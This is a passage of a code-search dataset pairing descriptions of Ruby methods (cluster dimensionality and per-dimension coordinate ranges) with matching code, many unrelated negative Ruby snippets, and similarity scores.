"0.5580466", "0.5580325", "0.5575075", "0.5574356", "0.55662894", "0.5561801", "0.55590016", "0.55560493", "0.5550238", "0.55495334" ]
0.64755934
8
Calculates the number of dimensions for the points in the cluster. All points in the cluster should have the same number of dimensions. Returns: A Fixnum equal to the number of coordinates that the first point in the cluster.
def dimensionality return nil if self.points.count == 0 self.points.first.dimensions end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dimensions\n self.coords.count\n end", "def num_points\n @size * @size\n end", "def size\n\t\t@clusters.size\n\tend", "def length\n grid_shape.length\n end", "def n\n points.size\n end", "def cluster_annotation_count\n self.cluster_groups.map {|c| c.cell_annotations.size}.reduce(0, :+)\n end", "def size\n self.points.count\n end", "def point_wh_count point\n point.layers.inject(0){|sum, lay| sum + lay.whs.size }\n end", "def size\n NMatrix.size(self.shape)\n end", "def length\n @dim\n end", "def dimensions\n height = count\n width = collect { |a| a.length }.max\n [width, height]\n end", "def cluster_size\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes'].join('/')} | grep -o \"contexts\" | wc -l`\n end", "def total_dimension\n return self.input_dimension + self.output_dimension\n end", "def get_dimensions\n @netcdf_elmt.getDimensions()\n end", "def size\n if @size.nil?\n @size = @mset.inject(0) do |total, pair|\n value = pair[1]\n if value.is_a? Array\n total + value.size\n else\n total + 1\n end\n end\n end\n\n @size\n end", "def num_neighbors\r\n @neighbors.count\r\n end", "def number_of_verts\n\t\t@number_of_verts ||= begin\n\t\t\tsize = 0\n\t\t\t@primitives.each do |primitive|\n\t\t\t\tprimitive[:verts].each do |index|\n\t\t\t\t\tvert = @verts[index]\n\t\t\t\t\tsize += vert[:vector].length\n\t\t\t\tend\n\t\t\tend\n\t\t\tsize\n\t\tend\n\tend", "def n\n x.size\n end", "def cluster_count\n\t\tcase @header.type\n\t\twhen :fat32; @fat.fat.length/4\n\t\twhen :fat16; @fat.fat.length/2\n\t\twhen :fat12; @fat.fat.length*2/3\n\t\tend - 2\n\tend", "def shape_count\n\t\treturn @shapes.length\n\tend", "def size\n count = 0\n @properties.each do |gid, values|\n if ! values.empty?\n count += 1\n end\n end\n return count\n end", "def dimensions(n=0)\n n += 1\n self.first.is_a?(Array) ? self.first.dimensions(n) : n\n end", "def cells_count\n rows_count * columns_count\n end", "def calculate_length\n l = @points.enum_cons(2).inject(0) { |s, points|\n s + distance_between(*points)\n }\n\n # include distance to go from last point to first to make loop\n l + distance_between(@points[-1], @points[0])\n end", "def size\n @points.size\n end", "def width\n @dimensions.x\n end", "def points_len()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.GraphComponentState_points_len(@handle.ptr)\n result\n end", "def width\n dimensions()[:x]\n end", "def n\n @clensing_data.size\n end", "def get_face_count\n count = 0\n @groups.each_value do |grp|\n count += grp.faces.size\n end\n return count\n end", "def dimensions\n\t\t[@n,@m]\n\tend", "def num_ships\n @grid.reduce(0) { |acc, el| acc + el.count(:S) }\n end", "def default_cluster_point_size\n if self.default_options[:cluster_point_size].blank?\n 3\n else\n self.default_options[:cluster_point_size].to_i\n end\n end", "def number_of_cells(size)\n size * size\n end", "def dimensions\n dim = [width, height]\n def dim.to_s\n join 'x'\n end\n dim\n end", "def size\n all_nodes.length\n end", "def size\n @nodes.length\n end", "def size\n @nodes.length\n end", "def calculate_dimensions array\n\t\t\t_count(array).take_while { |e| e >= 0 }\n\t\tend", "def size\n @nodes.size\n end", "def size\n @column ? [@dim, 1] : [1, @dim]\n end", "def length\n Math.sqrt(@x * @x + @y * @y + @z * @z)\n end", "def dimension_finder(array)\n if array.any? { |nested_array| nested_array.is_a?(Array) }\n dim = array.group_by { |nested_array| nested_array.is_a?(Array) && dimension_finder(nested_array) }.keys\n [array.size] + dim.first if dim.size == 1 && dim.first\n else\n [array.size]\n end\n end", "def height\n count = 0\n if @root != nil\n count = height_helper(@root)\n end\n return count\n end", "def number_of_edges\n @adj.values.map(&:length).inject(:+)\n end", "def width # width of bboxpoint\n\t\tself.coords[2] - self.coords[0]\n\tend", "def size\n counter = 0\n each { |node| counter += 1 }\n return counter\n end", "def size\n @components.values.inject(0) { |component_count, attribute| component_count + attribute.size }\n end", "def width\n dimensions.first\n end", "def size\n rows * columns\n end", "def calculate_width( features )\n width, gaps = 0, 0\n features.each do |feature|\n if feature.feature_name == \"gap\"\n gaps += @gap_width\n else\n width += feature.width ? feature.width : 0\n end\n end\n width = ( width + gaps ) + 1\n return width.to_i\n end", "def size\n (@x2-@x1)*(@y2-@y1)\n end", "def size\n @n\n end", "def size\n @n\n end", "def num_ships \n @grid.flatten.count(:S)\n end", "def size\n Float::MAX.to_i\n end", "def get_num_patches(coords, gridSize)\n numb_patches = 0\n orgGridSize = gridSize\n\n for pt in (1..coords.length-1)\n gridSize = orgGridSize\n sideLength = distanceFormula(coords[pt-1][0],coords[pt-1][1],coords[pt][0],coords[pt][1])\n gridLength = ((sideLength % gridSize) / ((sideLength / gridSize).to_i)) + gridSize\n #Number of Grid Checks\n if (gridSize * 2) > sideLength\n gridLength = sideLength / 2\n gridSize = gridLength\n end\n iterator = (sideLength / gridSize).to_i\n numb_patches += iterator\n end\n gridSize = orgGridSize\n sideLength = distanceFormula(coords[coords.length-1][0],coords[coords.length-1][1],coords[0][0],coords[0][1])\n #Number of Grid Checks\n if (gridSize * 2) > sideLength\n gridLength = sideLength / 2\n gridSize = gridLength\n end\n iterator = (sideLength / gridSize).to_i\n numb_patches +=iterator\n return numb_patches\nend", "def dimension\n map { |qnt, exp| qnt.dimension * exp }.reduce SY::Dimension.zero, :+\n end", "def size\n num_geometries\n end", "def column_count\r\n assert_exists\r\n arr_cells = cells\r\n return arr_cells.length\r\n end", "def width\n length * xdim\n end", "def width\n length * xdim\n end", "def size\n shape[0] > 1 ? shape[0] : shape[1]\n end", "def inspect_cluster size_of_cluster\n @cluster.each do |c|\n if c.length == size_of_cluster\n c.each do |s|\n puts \"#{s.to_s}: #{@feature[s].to_s}\"\n end\n end\n end\n end", "def num_edges()\n edgeNum = 0\n @source.values.each do |x|\n edgeNum += x.size()\n end\n return edgeNum/2\n end", "def size\n count = 0\n visit_nodes do\n count += 1\n end\n count\n end", "def ll_size()\n return @num_nodes\n end", "def getDimensions\r\n @imageheights = @image.length\r\n @imagewidth = @image[0].length\r\n puts \"image dimensions are #{@imagewidth} by #{@imageheights}\"\r\n end", "def column_size\n first_row = @rows[0]\n if first_row._equal?(nil)\n return 0\n end\n first_row.size\n end", "def numVertices\n @vertices.size\n end", "def numVertices\n @vertices.size\n end", "def children_size\n size = locations.size\n locations.each{|location|\n locations = location.locations\n if locations.present?\n size += location.children_size\n end\n }\n return size\n end", "def group_size_count\n if plan_year.estimate_group_size?\n targeted_census_employees_participation.select(&:expected_to_enroll?).length\n else\n all_active_health_enrollments.length\n end\n end", "def num_of_measures\n (self.chords.count / self.beats_per_measure.to_f).ceil\n end", "def length_of_column n\n length_of_largest_cell_in_column n \n end", "def size\n\t\t@graph.size\n\tend", "def size(root)\n leftCount = root.left ? size(root.left) : 0\n rightCount = root.right ? size(root.right) : 0\n return 1 + leftCount + rightCount\n end", "def length\n Math.sqrt(@x * @x + @y * @y)\n end", "def size\n Integer.new.tap do |count|\n each { |element| count += 1 }\n end\n end", "def size\n @vertices.length\n end", "def dimensions\n @dimensions ||= extract_dimensions\n end", "def node_size\n @results.size\n end", "def length\n @length ||= (count.to_f / @per_chunk).ceil\n end", "def column_count\r\n assert_exists\r\n arr_rows = rows\r\n return arr_rows[0].column_count\r\n end", "def size\n @value.inject(0) {|acc, it| acc + it.size}\n end", "def width\n @map[0].size\n end", "def length\n points_distance(@x1, @y1, @x2, @y2)\n end", "def width\n return 1 unless has_children?\n children.inject(0) {|sum,c| sum + c.width}\n end", "def width\n @width ||= (cells.map(&:to_s) << to_s).map(&:size).max\n end", "def size\n data.values.inject(0){|m,v| m+=v.size}\n end", "def count()\n @list_of_positions.length\n end", "def points_size\n MSPhysics::Newton::CurvySlider.get_points_size(@address)\n end", "def points_size\n MSPhysics::Newton::CurvySlider.get_points_size(@address)\n end", "def dimensions\n data[:dimensions]\n end", "def coord_dimension_for(column_name)\n spatial_column_by_name(column_name).coord_dimension\n end", "def dim\n @indexes.size\n end", "def neighbors_count(i)\n n = relative(i-columns, 0)\n s = relative(i+columns, 0)\n e = relative(i, +1)\n w = relative(i, -1)\n nw = relative(n, -1)\n ne = relative(n, +1)\n sw = relative(s, -1)\n se = relative(s, +1)\n\n cells.values_at(*[n, nw, ne, e, w, s, sw, se].compact).sum\n end", "def size\n @graphs.inject(0) {|memo, g| memo += g.size}\n end", "def num_cols\n col_labels.length\n end", "def size\n @axis_object.size\n end" ]
[ "0.6990923", "0.6841318", "0.6609939", "0.65020794", "0.6500633", "0.6363131", "0.6260901", "0.62242085", "0.6208721", "0.620424", "0.61857384", "0.61842376", "0.6155246", "0.6117672", "0.61124384", "0.60909027", "0.6064525", "0.60413134", "0.6038652", "0.5982167", "0.59604585", "0.5957354", "0.59568346", "0.5942359", "0.59327155", "0.5932242", "0.593149", "0.5922482", "0.59198815", "0.59024465", "0.58883667", "0.5884865", "0.5849451", "0.58448046", "0.58408535", "0.5839673", "0.58272624", "0.58272624", "0.58256644", "0.58119035", "0.5810909", "0.5810038", "0.5809627", "0.57916355", "0.57689524", "0.5756412", "0.57553864", "0.5747024", "0.5720294", "0.57161504", "0.5713298", "0.5712428", "0.5710296", "0.5710296", "0.57075363", "0.57026976", "0.5699648", "0.5690213", "0.5685393", "0.568071", "0.56793827", "0.56793827", "0.5677525", "0.5674094", "0.56718343", "0.5668315", "0.5664614", "0.5658707", "0.5651169", "0.5644333", "0.5644333", "0.5632077", "0.56232285", "0.5620342", "0.5619355", "0.56158364", "0.56108737", "0.56105524", "0.5597126", "0.55903244", "0.5589009", "0.5567599", "0.5559672", "0.55577147", "0.55440354", "0.55434316", "0.5540106", "0.5538573", "0.5530473", "0.5529501", "0.5528942", "0.5526455", "0.5526455", "0.55248004", "0.55187964", "0.5516559", "0.551337", "0.55114", "0.55074084", "0.55043256" ]
0.6589093
3
Calculates a range for each dimension such that it covers all coordinates in that dimension for all points in the cluster. Returns: An Array of Range objects, sucn that each range_i covers point.coords_i, for all points.
def dimensional_ranges points = self.points.map &:coords points.transpose.map { |d| d.min.to_f..d.max.to_f } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_coords_in(minmax, coord=[], coords=[])\n if minmax.empty?\n coords << coord\n else\n min, max = minmax[0]\n (min..max).each do |dim_coord|\n all_coords_in(minmax[1..-1], coord + [dim_coord], coords)\n end\n end\n coords\n end", "def convert_all_ranges\n if self.file_type == 'Cluster'\n required_vals = 4\n domain = {\n x_axis_min: self.x_axis_min.to_i == 0 ? nil : self.x_axis_min.to_i,\n x_axis_max: self.x_axis_max.to_i == 0 ? nil : self.x_axis_max.to_i,\n y_axis_min: self.y_axis_min.to_i == 0 ? nil : self.y_axis_min.to_i,\n y_axis_max: self.y_axis_max.to_i == 0 ? nil : self.y_axis_max.to_i\n }\n empty_domain = {\n x_axis_min: nil,\n x_axis_max: nil,\n y_axis_min: nil,\n y_axis_max: nil\n }\n if self.cluster_groups.first.is_3d?\n domain[:z_axis_min] = self.z_axis_min.to_i == 0 ? nil : self.z_axis_min.to_i\n domain[:z_axis_max] = self.z_axis_max.to_i == 0 ? nil : self.z_axis_max.to_i\n empty_domain[:z_axis_min] = nil\n empty_domain[:z_axis_max] = nil\n required_vals = 6\n end\n # need to clear out domain first to force persistence\n self.update(empty_domain)\n if required_vals == domain.values.compact.size\n self.update(domain)\n end\n end\n end", "def cells_at_points(coords)\n coords.collect {|x, y| cell_at_point(x, y) }.to_set\n end", "def neighbours_boundries(cell_cords, dimension)\n [0, cell_cords - 1].max..[cell_cords + 1, dimension - 1].min\n end", "def ranges\n x_start, y_start = absolute(0, 0)\n x_end, y_end = absolute(@diameter - 1, @diameter - 1)\n\n [x_start..x_end, y_start..y_end]\n end", "def points_in_range(range, found)\n if !@boundary.to_array.intersect_rect?(range.to_array)\n return\n end\n\n # add all points from this quadtree if they are in the range\n @points.each do |point|\n if point.inside_rect?(range.to_array)\n found << point\n end\n end\n\n # recursive calls on each of the 4 children if children exist\n if @divided\n @northwest.points_in_range(range, found)\n @northeast.points_in_range(range, found)\n @southwest.points_in_range(range, found)\n @southeast.points_in_range(range, found)\n end\n end", "def get_bounds\n # Go throug all blocks to find the bounds of this shape\n x_min = []\n y_min = []\n x_max = []\n y_max = []\n @blocks.each do |block| \n x_min << block.x\n y_min << block.y\n \n x_max << block.x + block.width\n y_max << block.y + block.height\n end\n\n return [x_min.min, y_min.min, x_max.max, y_max.max]\n end", "def each_coord\n x_range, y_range = ranges\n x_range.each { |x| y_range.each { |y| yield [x, y] } }\n end", "def loose_bounds\n return [@min, @max].collect { |p| Point.new(p) }\n end", "def e123_include_intersect (n, min, max)\n ranges = []\n # loop i=1 a N\n (1..n).each { |i|\n # generate Ri with start = rand(min, max), end = (start, max) -> Note if start == max, then Range.length = 1\n start = rand(max - min) + min\n finish = rand(max - start) + start\n range = start..finish\n ranges.push(range)\n }\n\n intersected = []\n contained = []\n # loop Ri to Rn, i=1 to N\n ranges.each_with_index { |range_i, i|\n # loop Rj to Rn, j=i+1 to N\n ranges.drop(i+1).each { |range_j|\n # Ri intersects Rj?\n if range_i.intersects? range_j\n # push [Ri,Rj] to I\n intersected.push([range_i, range_j])\n # Ri contains? Rj or Rj contains? Ri\n if range_i.contains? range_j or range_i.is_contained_by? range_j\n # push [Ri, Rj] to C\n contained.push([range_i, range_j])\n end\n end\n }\n }\n\n return ranges, intersected, contained\n end", "def collect_adjacent_points(coords)\n\t\tpoints = []\n\t\tx = coords[:x]\n\t\ty = coords[:y]\n\t\tx_range = ([0, x-1].max..[$dimensions[:x], x+1].min)\n\t\ty_range = ([0, y-1].max..[$dimensions[:y], y+1].min)\n\t\tx_range.each do |i|\n\t\t\ty_range.each do |j|\n\t\t\t\tpoints << {:x => i, :y => j} unless ( (i == x && j == y ) || occupied?(i, j))\n\t\t\tend\n\t\tend\n\t\tpoints\n\tend", "def bounds\n return @bounds if defined?(@bounds)\n\n xs = vertices.map(&:x)\n ys = vertices.map(&:y)\n @bounds = [xs.min, ys.min, xs.max, ys.max]\n\n @bounds\n end", "def calculate_boundaries!\n return unless @dirty\n\n # Init to vals of first point\n # We will do it this way so we only need one iteration\n point = @points.first\n @minx = point.x\n @maxx = point.x\n @miny = point.y\n @maxy = point.y\n @points.each do |point|\n @minx = [@minx, point.x].min\n @maxx = [@maxx, point.x].max\n @miny = [@miny, point.y].min\n @maxy = [@maxy, point.y].max\n end\n @grid_width = @maxx - @minx\n @grid_height = @maxy - @miny\n\n @dirty = false\n end", "def excise(ranges)\n if ranges.class != Array\n raise RuntimeError, \"Argument should be an array of ranges\"\n end\n ranges.each do |r|\n if r.class != Range\n raise RuntimeError, \"Argument should be an array of ranges\"\n end\n end\n\n answer = Array.new\n previous_excised_stop = self.start - 1\n ranges.sort_by{|r| r.first}.each do |r|\n subslice_start = previous_excised_stop + 1\n if subslice_start <= r.first - 1\n answer.push(Slice.new(self.seq_region, subslice_start, r.first - 1))\n end\n previous_excised_stop = r.last\n if r.last > self.stop\n return answer\n end\n end\n subslice_start = previous_excised_stop + 1\n answer.push(Slice.new(self.seq_region, subslice_start, self.stop))\n return answer\n end", "def boundaries\n [intervals.first[0], intervals.last[1]]\n end", "def getIndexRange()\n rangeTime = { :min => nil, :max => nil} ;\n rangeX = { :min => nil, :max => nil} ;\n rangeY = { :min => nil, :max => nil} ;\n rangeZ = { :min => nil, :max => nil} ;\n @sumGridTable.keys.sort.each{|index|\n rangeTime[:min] = safeMin(index[0], rangeTime[:min]) ;\n rangeTime[:max] = safeMax(index[0], rangeTime[:max]) ;\n rangeX[:min] = safeMin(index[1][0], rangeX[:min]) ;\n rangeX[:max] = safeMax(index[1][0], rangeX[:max]) ;\n rangeY[:min] = safeMin(index[1][1], rangeY[:min]) ;\n rangeY[:max] = safeMax(index[1][1], rangeY[:max]) ;\n rangeZ[:min] = safeMin(index[1][2], rangeZ[:min]) ;\n rangeZ[:max] = safeMax(index[1][2], rangeZ[:max]) ;\n }\n return [rangeTime, rangeX, rangeY, rangeZ] ;\n end", "def get_bounds\n [ @min, @max ]\n end", "def densified_area_crossing_range(geometry, ascending)\n separation = swath_width_rad * 0.9\n range = LongitudeCoverage.none\n GeometryToCoordinatesConverter.coordinates(geometry, separation).each do |coord|\n range << coord_crossing_range(coord, ascending)\n end\n range\n end", "def values(range = nil)\n result_unflatten = if !::RANGES_JRUBY_BUG\n map { |x| x.v }\n else\n self.v\n end\n result = result_unflatten.flatten\n if range\n relevant_result = []\n result.each_with_index { |row_or_column, i| relevant_result << row_or_column if range.include?(i) }\n relevant_result\n else\n result\n end\n end", "def get_bounds\n rMinX = nil\n rMinY = nil\n rMaxX = nil\n rMaxY = nil\n\n case @Function[:FunctionType]\n when FCTTYPE_PIECEWISE_LINEAR\n rMinX = @Function[:Points][0][0]\n rMaxX = @Function[:Points][-1][0]\n @Function[:Points].each do |iPoint|\n if (rMinY == nil)\n rMinY = iPoint[1]\n rMaxY = iPoint[1]\n else\n if (rMinY > iPoint[1])\n rMinY = iPoint[1]\n end\n if (rMaxY < iPoint[1])\n rMaxY = iPoint[1]\n end\n end\n end\n else\n log_err \"Unknown function type: #{@Function[:FunctionType]}\"\n end\n\n return rMinX, rMinY, rMaxX, rMaxY\n end", "def excise(ranges)\r\n if ranges.class != Array\r\n raise RuntimeError, \"Argument should be an array of ranges\"\r\n end\r\n ranges.each do |r|\r\n if r.class != Range\r\n raise RuntimeError, \"Argument should be an array of ranges\"\r\n end\r\n end\r\n\r\n answer = Array.new\r\n previous_excised_stop = self.start - 1\r\n ranges.sort_by{|r| r.first}.each do |r|\r\n subslice_start = previous_excised_stop + 1\r\n if subslice_start <= r.first - 1\r\n answer.push(Slice.new(self.seq_region, subslice_start, r.first - 1))\r\n end\r\n previous_excised_stop = r.last\r\n if r.last > self.stop\r\n return answer\r\n end\r\n end\r\n subslice_start = previous_excised_stop + 1\r\n answer.push(Slice.new(self.seq_region, subslice_start, self.stop))\r\n return answer\r\n end", "def snapshot_boundaries\n minmax = @snapshot.first.map { |dim_coord| [dim_coord, dim_coord] }\n @snapshot.each do |coord|\n coord.each_with_index do |dim_coord, i|\n minmax[i][0] = dim_coord if dim_coord < minmax[i][0]\n minmax[i][1] = dim_coord if dim_coord > minmax[i][1]\n end\n end\n minmax\n end", "def to_ranges args = Hash.new\n min = args[:min] || -Infinity\n max = args[:max] || Infinity\n collapse = args[:collapse]\n \n ranges = Array.new\n self.split(%r{\\s*,\\s*}).each do |section|\n md = section.match(RANGE_REGEXP)\n next unless md\n \n from = _matchdata_to_number md, 1, min\n to = _has_matchdata?(md, 2) ? _matchdata_to_number(md, 3, max) : from\n\n prevrange = ranges[-1]\n\n if collapse && prevrange && prevrange.include?(from - 1) && prevrange.include?(to - 1)\n ranges[-1] = (prevrange.first .. to)\n else\n ranges << (from .. to)\n end\n end\n\n ranges\n end", "def cells_overlapping(x, y)\n cells_at_points(corner_points_of_entity(x, y)).collect {|cx, cy| at(cx, cy) }\n end", "def process_array_range(forall)\n constraints = Array.new\n range = order_range(forall)\n\n range.each do |obj|\n new_constraint = Yarpler::Models::Constraint.new\n new_constraint.expression = forall.expression.clone\n new_constraint.expression = replace_selector(new_constraint.expression, forall.variable, obj.to_s,\n forall.range)\n\n constraints << new_constraint if where(forall, obj)\n end\n constraints\n end", "def bounding_range(range1, range2)\n check_pre(primshape?(range1) && primshape?(range2) && equal_dimension?(range1, range2))\n if range1.range1d? then Range1d[(range1.first <= range2.first ? range1.first : range2.first), (range1.last >= range2.last ? range1.last : range2.last)]\n elsif range1.range2d? then Range2d[bounding_range(range1.x_range, range2.x_range), bounding_range(range1.y_range, range2.y_range)]\n end\nend", "def captured_points(range = $capture_distance)\n\t\tchecked_set = []\n\t\tcurrent_set = [@hunter.coords]\n\n\t\tdistance = 0\n\t\t# This collects every nonblocked point next to the current set of points (including diagonals) up to a certain number of moves\n\t\tuntil distance > range || current_set.empty?\n\t\t\tfound_set = ((current_set.map{|c| collect_adjacent_points(c)}.flatten - checked_set) - current_set)\n\t\t\tchecked_set += current_set\n\t\t\tcurrent_set = found_set\n\t\t\tdistance += 1\n\t\tend\n\t\t#\tTake out any points that are outside the CAPTURE DISTANCE in euclidean distance from the hunter, and return the remaining set\n\t\tfinal_set = (checked_set + current_set).reject{|p| distance(@hunter.coords,p) > range}\n\tend", "def in_range?\n return self.range.include?([@x, @y])\n end", "def maps_for_range(range)\n last = (range.exclude_end?) ? range.last : range.last + 1\n maps.select { |m| m.start_addr >= range.first and m.max < last }\n end", "def filter_locations(points, lon_deg_range, lat_deg_range)\n points.select do |p|\n lon_deg_range.include?(p[0]) && lat_deg_range.include?(p[1])\n end\nend", "def find_minmax\n loc1, loc2 = self.find_minmax_locator\n [loc1 && loc1.value, loc2 && loc2.value]\n end", "def points_n2\n result = [:infinity]\n (0...@p).each do |x|\n (0...@p).each do |y|\n point = [x,y]\n result << point if valid?(point)\n end\n end\n result\n end", "def ranges\n pairs.map { |b, e| (b...e) }\n end", "def exposion_range_without_wall(pos)\n\t\trange = Set.new\n\t\t@template.each do |orig_pos|\n\t\t\ttrans_pos = Array.new(orig_pos)\n\t\t\ttrans_pos.row += pos.row\n\t\t\ttrans_pos.col += pos.col\n\t\t\tif (0...n).cover?(trans_pos.row) and (0...m).cover?(trans_pos.col)\n\t\t\t\trange << trans_pos\n\t\t\tend\n\t\tend\n\t\treturn range\n\tend", "def getAreas\n self.removeInfinites\n totals = Hash.new(0)\n self.dims[0].times do |i|\n self.dims[1].times do |j|\n totals[@grid[i][j]] += 1\n end\n end\n totals[-1] = 0\n totals\n end", "def intersection(range)\n int_a = (self.to_a & range.to_a) \n int_a.empty? ? nil : Range.new(int_a.min, int_a.max)\n end", "def to_ranges\n array = self.compact.uniq.sort\n ranges = []\n if !array.empty?\n # Initialize the left and right endpoints of the range\n left, right = array.first, nil\n array.each do |obj|\n # If the right endpoint is set and obj is not equal to right's successor \n # then we need to create a range.\n if right && obj != right.succ\n ranges << Range.new(left,right)\n left = obj\n end\n right = obj\n end\n ranges << Range.new(left,right)\n end\n ranges\n end", "def bounds\n Enumerator.new do |yielder|\n offsets.each do |offset|\n yielder << [offset, slice_length(offset)]\n end\n end\n end", "def search_range(array, range=nil, &block)\n lower = search_lower_boundary(array, range, &block)\n upper = search_upper_boundary(array, range, &block)\n return lower ... upper\n end", "def bounds(values)\n q1 = values.percentile(25)\n q3 = values.percentile(75)\n iqr = q3 - q1\n lower = q1 - (iqr * 1.5)\n upper = q3 + (iqr * 1.5)\n inrange = values.select { |v| v >= lower && v <= upper }\n lower = [lower, inrange.min].max\n upper = [upper, inrange.max].min\n belowrange = values.select { |v| v < lower }\n aboverange = values.select { |v| v > upper }\n [belowrange, lower, upper, aboverange]\nend", "def enterprise_i_p_ranges\n return @enterprise_i_p_ranges\n end", "def bounds\n end", "def within_range(coordinates)\r\n return true if coordinates[0].between?(0, 7) && coordinates[1].between?(0, 7)\r\n return false\r\n end", "def OverlappingRanges(arr)\n ((arr[0]..arr[1]).to_a & (arr[2]..arr[3]).to_a).size >= arr[4]\nend", "def calculate_auto_bounds\n return [ 0, 0, 0, 0 ] if @markers.length == 0\n \n max_lat, max_lng = @markers.first.point\n min_lat, min_lng = @markers.first.point\n \n @markers.slice(1, @markers.length).each do |marker|\n if marker.point[0] < min_lat then min_lat = marker.point[0] end\n if marker.point[0] > max_lat then max_lat = marker.point[0] end\n if marker.point[1] < min_lng then min_lng = marker.point[1] end\n if marker.point[1] > max_lng then max_lng = marker.point[1] end\n end\n \n return [ min_lat, min_lng, max_lat, max_lng ]\n end", "def OverlappingRanges(arr)\n\n # code goes here\n return arr \n \nend", "def identify_ranges(yaml_content)\n each_line_indices(yaml_content).each_with_object([]) do |(start, finish), ranges|\n if range = clean_line(yaml_content, start, finish)\n ranges << range\n end\n end\n end", "def clip_map\n @nodes.each{|n| clip_intersection(n)}\n end", "def generate_arr_of_all_combinations(start_range, end_range, gap)\n combinations = []\n\n start_range.upto(end_range - gap) do |x|\n x.upto(end_range) do |y|\n next if (x + gap) > y\n combinations.push([x, y])\n end\n end\n\n combinations\nend", "def neighbors(point, scr_height, scr_width)\n deltas = [ [0, 1], [0, -1],\n [1, 0], [-1, 0] ]\n neighbors = []\n deltas.each do |delta|\n neighbor = [point[0] + delta[0], point[1] + delta[1]]\n neighbors.push(neighbor) if in_bounds?(neighbor, scr_height, scr_width)\n end\n neighbors\nend", "def extend_boundaries(min_odds, max_odds)\n [min_odds - extend_min_interval(min_odds, max_odds),\n max_odds + extend_max_interval(min_odds, max_odds)]\n end", "def neighbor_possibilities(coords_of_neighborhood)\n coords_of_neighborhood.map do |coords|\n filled_in_board.cell_possibilities(*coords)\n end.compact\n end", "def falls_within?(x, y)\n x >= 0 && x < x_dimension && y >= 0 && y < y_dimension\n end", "def construct_range_query\n require File.expand_path(File.join(File.dirname(__FILE__), \"../shared_libraries/ra_trees\"))\n \n list = List.init_double_linked_list\n \n @points.each do |point|\n List.push_back(list, Points.init_point(point[0], point[1], \"\"))\n end\n\n range_tree = RATree.build_2d_range_tree(list)\n\n range_query = RATree.two_d_range_query(range_tree, @x, @x1, @y, @y1)\n\n return List.to_a(range_query)\n \nend", "def d_range\n (d...dn_position).to_a\n end", "def d_range\n (d...dn_position).to_a\n end", "def bounds\n return [] unless @grpc.bounding_box\n @bounds ||= Array(@grpc.bounding_box.vertices).map do |v|\n Vertex.from_grpc v\n end\n end", "def bounds\n return [] unless @grpc.bounding_box\n @bounds ||= Array(@grpc.bounding_box.vertices).map do |v|\n Vertex.from_grpc v\n end\n end", "def bounds\n return [] unless @grpc.bounding_box\n @bounds ||= Array(@grpc.bounding_box.vertices).map do |v|\n Vertex.from_grpc v\n end\n end", "def bounds\n return [] unless @grpc.bounding_box\n @bounds ||= Array(@grpc.bounding_box.vertices).map do |v|\n Vertex.from_grpc v\n end\n end", "def places_in_categories_within_bounds(categories, bounds, to_return = 10, start_from = 0)\n results_from_search many.places_in_categories_within_bounds(sql_categories(categories), bounds[:sw][:latitude], \n bounds[:sw][:longitude], bounds[:ne][:latitude], bounds[:ne][:longitude], to_return, start_from)\n end", "def effective_range\n @opts[:effective_range] ||= [nil, nil]\n @opts[:effective_range][0] ||= x.min\n @opts[:effective_range][1] ||= x.max\n @opts[:effective_range]\n end", "def range( range )\n ::Vector.elements( range.to_a )\n end", "def size_range(range)\n return [1,1] if range.nil?\n from = range.from\n to = range.to\n x = from.nil? ? 1 : from\n y = to.nil? ? TheInfinity : to\n [x, y]\n end", "def dynamic_collisions(elems)\n rv = []\n elems.each do |elem|\n\n #TODO need to handle non circle types to get better bounds, at least linesegment\n cs = candidates(elem.collision_radius, elem.collision_center).flatten.select do|candidate|\n @collider.check_for_collision_by_type(elem, candidate)\n end\n rv += cs.collect {|cand| [elem, cand]}\n end\n rv\n end", "def in_range\n\t\trange = Set[1, 2, 3, 4, 5,\n\t\t\t\t\t\t\t\t6, 7, 8, 9, 10,\n\t\t\t\t\t\t\t 11, 12, 13, 14, 15,\n\t\t\t\t\t\t\t\t16, 17, 18, 19, 20,\n\t\t\t\t\t\t\t\t21, 22, 23, 24, 25,\n\t\t\t\t\t\t\t\t26, 27, 28, 29, 30]\n\n\t\tif @landmarks.subset?(range)\n\t\t\treturn true\n\t\tend\n\n\t\treturn false\n\tend", "def cloud_ranges(counts)\n # there are going to be 5 ranges defined in css:\n class_count = 5\n\n max = counts.max || 0\n min = counts.min || 0\n divisor = ((max - min) / class_count) + 1\n\n res = []\n class_count.times do |i|\n res << (i * divisor)\n end\n\n return res\n end", "def find_range_overlap(point1, length1, point2, length2)\n # find the highest start point and lowest end point. The highest\n # (\"rightmost\" or \"upmost\") start point is the start point of overlap.\n # The lowest end point is the end point of the overlap.\n highest_start_point = [point1, point2].max\n lowest_end_point = [point1 + length1, point2 + length2].min\n \n # return nil if no overlap\n if highest_start_point >= lowest_end_point\n return [nil, nil]\n end\n \n # compute the overlap length\n overlap_length = lowest_end_point - highest_start_point\n \n return [highest_start_point, overlap_length]\nend", "def bounds(x, y)\n Rule.motions.map do |k, (dx, dy)|\n rx = x + dx\n ry = y + dy\n [k, !include?(rx, ry) || blocked?(rx, ry)]\n end.to_h\n end", "def compute_local_range()\n begin_index = time2index(local_range.begin)\n end_index = time2index(local_range.end, -1) # FIXME this gives an unreachable index causing Exceptions down the line...\n begin_index..end_index\n end", "def OverlappingRanges(arr)\n first_num = arr[0]\n second_num = arr[1]\n third_num = arr[2]\n forth_num = arr[3]\n first_arr = (first_num..second_num).to_a\n second_arr = (third_num..forth_num).to_a\n merged_array = first_arr.concat(second_arr)\n (merged_array.size - merged_array.uniq.size == arr[4]) ? true : false\nend", "def find_range_overlap(point1, length1, point2, length2)\n\n # find the highest start point and lowest end point.\n # the highest (\"rightmost\" or \"upmost\") start point is\n # the start point of the overlap.\n # the lowest end point is the end point of the overlap.\n highest_start_point = [point1, point2].max\n lowest_end_point = [point1 + length1, point2 + length2].min\n\n # return nil overlap if there is no overlap\n if highest_start_point >= lowest_end_point\n return [nil, nil]\n end\n\n # compute the overlap length\n overlap_length = lowest_end_point - highest_start_point\n\n return [highest_start_point, overlap_length]\nend", "def coordinate_bounds(latitude, longitude, radius)\n radius = radius.to_f\n factor = (Math::cos(latitude * Math::PI / 180.0) * 69.0).abs\n [\n latitude - (radius / 69.0),\n latitude + 